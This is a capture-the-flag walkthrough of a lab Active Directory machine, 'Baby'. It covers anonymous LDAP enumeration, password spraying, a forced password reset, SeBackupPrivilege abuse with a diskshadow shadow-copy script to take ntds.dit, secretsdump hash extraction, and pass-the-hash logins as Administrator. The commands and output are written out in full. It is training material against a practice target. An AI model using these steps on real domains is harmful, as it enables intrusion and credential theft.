Overview

The machine starts by LDAP null bind enumeration that reveals a password in a user description field, spraying it across all domain users finds Caroline.Robinson with a must-change-password status so we force a password reset via smbpasswd to get winrm access, then SeBackupPrivilege is abused with diskshadow to create a VSS snapshot and robocopy to extract ntds.dit and dump domain hashes with secretsdump to pass-the-hash as Administrator

Enumeration

we'll start with nmap as usual

and we got some SMB,DNS,Kerberos,LDAP so it is obviously an active directory environment and it isn't assumed breached and there is no website for us to get through it what we got here is

  • domain name is baby.vl and the hostname is BabyDC so the FQDN is BabyDC.baby.vl so add those to our hosts file
  • the clock skew is fine in case we'll deal Kerberos authentication

so lets setup the environment by getting a KRB5 file and move it to the etc directory and add the entries to the hosts file

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ echo '10.129.234.71 BabyDC BabyDC.baby.vl baby.vl' | sudo tee -a /etc/hosts
10.129.234.71 BabyDC BabyDC.baby.vl baby.vl
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ nxc smb baby.vl -u '' -p '' --generate-krb5-file krb5.conf
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [+] krb5 conf saved to: krb5.conf
SMB 10.129.234.71 445 BABYDC [+] Run the following command to use the conf file: export KRB5_CONFIG=krb5.conf
SMB 10.129.234.71 445 BABYDC [+] baby.vl\:
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ sudo mv krb5.conf /etc/krb5.conf

as you can see we got the Null Auth is set to True on SMB so we can try Guest accounts if they can access any shares or does some enumeration like brute-force the RID for usernames

But we got the Guest account disabled

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ nxc smb 10.129.234.71 -u 'Guest' -p '' --shares
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Guest: STATUS_ACCOUNT_DISABLED

at this point when we got no share service like FTP or SMB there is 3 options to try here

  1. timeroast attacks
  2. pre2k accounts with a wordlist
  3. ldap user fields

and i started with the pre2k accounts using the tool pre2k but nothing was found out of 2400 possible hostnames

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/pre2k]
└──╼ [★]$ pre2k unauth -d baby.vl -dc-ip 10.129.234.71 -inputfile ../hostnames.txt

                                ___ __
                              /'___`\ /\ \        
 _____   _ __    __          /\_\ /\ \\ \ \/'\    
/\ '__`\/\`' __\/'__`\ _______\/_/// /__\ \ , <
\ \ \L\ \ \ \//\  __//\______\  // /_\ \\ \ \\`\  
 \ \ ,__/\ \_\\ \____\/______/ /\______/ \ \_\ \_\
  \ \ \/  \/_/ \/____/         \/_____/   \/_/\/_/
   \ \_\                                      v3.1    
    \/_/
                                            @unsigned_sh0rt
                                            @Tw1sm

[11:38:09] INFO     Testing started at 2026-06-03 11:38:09                                                                                      
[11:38:09] INFO     Using 10 threads

also tried the timeroast but got a single account with the RID 1000 which is the DC itself and there is noway it'll be vulnerable to timeroast (usually you'd try to crack it also but from experience i know it wouldn't work)

plaintext 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ python3  /opt/scripts/timeroast/timeroast.py 10.129.234.71
1000:$sntp-ms$a5f7e23f8a660676d93ff11839f6286a$1c0111e900000000000a03bf4c4f434cedcaee67b2bcc872e1b8428bffbfcd0aedcaf35906b466a4edcaf35906b4a665

the last thing is the LDAP users fields and usually you would do this manually using tools like ldapsearch and windapsearch but I've got this great tool that has a good searching algorithm through the fields to identify what is a possible password and what isn't so lets use it and at the end we can also show the manual way

Null Bind LDAP

but for this to work the LDAP null bind must be enabled and as you can see here it is working so lets run my tool directly

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/pre2k]
└──╼ [★]$ nxc ldap 10.129.234.71 -u '' -p ''
LDAP 10.129.234.71 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.234.71 389 BABYDC [+] baby.vl\:

and as you can see the domain is very small just 2 users only with description and one of them has a password so lets try this password

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ python3 deschunt.py -H 10.129.234.71

[*] Connecting to 10.129.234.71:389 ...
[*] Fetching user descriptions from: DC=baby,DC=vl

════════════════════════════════════════════════════════════
  LDAP Description Hunt — Results
════════════════════════════════════════════════════════════

[!] INTERESTING (unique + suspicious)  [1]
  ► Teresa.Bell (Teresa Bell)
    Set initial password to BabyStart123!

────────────────────────────────────────────────────────────
  Users scanned : 2
  Interesting : 1
  Unique/clean  : 1
  Repeated : 0
────────────────────────────────────────────────────────────

But when i tried to login it didn't work but here is something interesting the description field said set the initial password to X so whoever is instructing Teresa to might use this password for himself too so lets get a list of users in the domain and try to password spray using the password we found

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ nxc ldap 10.129.234.71 -u Teresa.Bell -p 'BabyStart123!'
LDAP 10.129.234.71 389 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl) (signing:None) (channel binding:No TLS cert)
LDAP 10.129.234.71 389 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123!

so we got a list of users here lets test against them

as you can see it didn't work also so at this point i suspected that something was wrong and my tool might've missed something so I went rougue manually to see what happens using ldapsearch

bash 
└──╼ [★]$ nxc smb 10.129.234.71 -u users.txt -p 'BabyStart123!'
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE

Shell as Caroline.Robinson

and here is found something interesting there is some additional usernames that didn't appear in our results like Ian.Walker for example so will just add those to our list first then check the reason why they didn't appear

here is the reason the users that returned at the first time has the CN Users but those users weren't part of the users container I guess and I think this is the reason why nxc and my tool missed it

there is a better way to get this list of course but this will do the trick

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/ldaphunt]
└──╼ [★]$ ldapsearch -H ldap://10.129.234.71 -x -b "dc=baby,dc=vl" "dn" | grep -v '#' | grep dn | grep -v Users | cut -d "," -f 1 | cut -d ":" -f 2 | cut -d '=' -f 2 | sed 's/ /./g'
baby
Jacqueline.Barnett
Ashley.Webb
Hugh.George
Leonard.Dyer
Ian.Walker
Connor.Wilkinson
Joseph.Hughes
Kerry.Wilson
Teresa.Bell
Caroline.Robinson

and as you can see it worked and user Caroline.Robinson must change his password before logging in so lets change the password

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/ldaphunt]
└──╼ [★]$ nxc smb 10.129.234.71 -u users.txt -p 'BabyStart123!'
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\baby:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Ian.Walker:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE
SMB 10.129.234.71 445 BABYDC [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE

there is multiple ways to change password either by kpassd but we have to deal with realm and KDC and ldappasswd also but we have to specify the entire Object DN the easiest way is through smbpasswd as you can see

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/ldaphunt]
└──╼ [★]$ smbpasswd -U caroline.robinson -r baby.vl
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user caroline.robinson

and we got WINRM working so lets login

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/ldaphunt]
└──╼ [★]$ nxc smb 10.129.234.71 -u caroline.robinson -p 'Password123!'
SMB 10.129.234.71 445 BABYDC [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.234.71 445 BABYDC [+] baby.vl\caroline.robinson:Password123!
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby/ldaphunt]
└──╼ [★]$ nxc winrm 10.129.234.71 -u caroline.robinson -p 'Password123!'
WINRM 10.129.234.71 5985 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\caroline.robinson:Password123! (Pwn3d!)

and we got user ss_20260603_123956.png

Shell as Administrator

looking if we have any special privilege and we got SeBackupPrivilege which will let us backup the registery hives so we can dump SAM SECURITY and SYSTEM hives and extract hashes locally using secretsdump

plaintext 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

we couldn't get Security but got SAM and SYSTEM and they are more than enough to get the stored creds

and we got the hash for administrator so lets login with WINRM

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ secretsdump.py -sam sam.save -system SYSTEM.save local
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x191d5d3fd5b0b51888453de8541d7e88
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8d992faed38128ae85e95fa35868bb43:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Cleaning up...

but trying to login didn't work out

bash 
┌─[]─[10.10.16.83]─[jimmex@attacker]─[~/htb/labs/baby]
└──╼ [★]$ evil-winrm -i 10.129.234.71 -u Administrator -H 8d992faed38128ae85e95fa35868bb43

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError

Error: Exiting with code 1

we are not done with dumping yet we can try multiple dumping stuff for domain credentials for example the diskshadow with a VSS

the VSS always uses the same script which is this

shell 
set verbose on
set metadata C:\Windows\Temp\test.cab
set context persistent
add volume C: alias mydrive
create
expose %mydrive% E:

so put it in a file and upload it so we can use it with diskshadow that's because we don't have an interactive shell

when i run it i get this

powershell 
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> diskshadow /s ./script.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: BABYDC, 6/4/2026 11:52:23 AM
-> set verbose O
SET VERBOSE { ON | OFF }
        ON Turn on verbose mode. This provides information about writer inclusion/exclusion.
        OFF Turn off verbose mode.
        Example: SET VERBOSE ON

so the issue is my script is fine but it doesn't read the N after O in the word ON and this is an issue with diskshadow and windows if your script is written on Linux then moved to windows, so what is the issue ? I think (just a wild guess) cause it runs on windows it expects the new line to be CRLF which is \r\n but our payload is written on Linux so it is written using with LF only which is \n so when it doesn't see \r at the end of the file the N gets eaten somehow cause it might think the entire line is malformed I have no idea how does this internally happen or what is the issue but I know how to fix it so lets fix the payload

we'll just substitute at the end of every line with \r

shell 
sed -i 's/$/\r/' script.txt

or we can do it easier with

shell 
└──╼ [★]$ unix2dos script.txt 
unix2dos: converting file script.txt to DOS format...

now lets run the command again on WINRM

now the copy is made and exposed at E:\ so lets access it and download the ntds.dat file we can't just download it directly we have to use robocopy which uses the SeBackupPrivilelges to bypass the system lock for NTDS

and also dump it with secretsdump

so lets try that hash with WINRM

shell 
[★]$ nxc winrm baby.vl -u administrator -H ee4457ae59f1e3fbd764e33d9cef123d
WINRM 10.129.234.71 5985 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\administrator:ee4457ae59f1e3fbd764e33d9cef123d (Pwn3d!)

so lets grab the flag

shell 
[★]$ nxc winrm baby.vl -u administrator -H ee4457ae59f1e3fbd764e33d9cef123d -X 'type C:\Users\Administrator\Desktop\root.txt'
WINRM 10.129.234.71 5985 BABYDC [*] Windows Server 2022 Build 20348 (name:BABYDC) (domain:baby.vl)
WINRM 10.129.234.71 5985 BABYDC [+] baby.vl\administrator:ee4457ae59f1e3fbd764e33d9cef123d (Pwn3d!)
WINRM 10.129.234.71 5985 BABYDC [+] Executed command (shell type: powershell)
WINRM 10.129.234.71 5985 BABYDC 06fb0c1b0a81a72975ba8012f89e2e20

Resources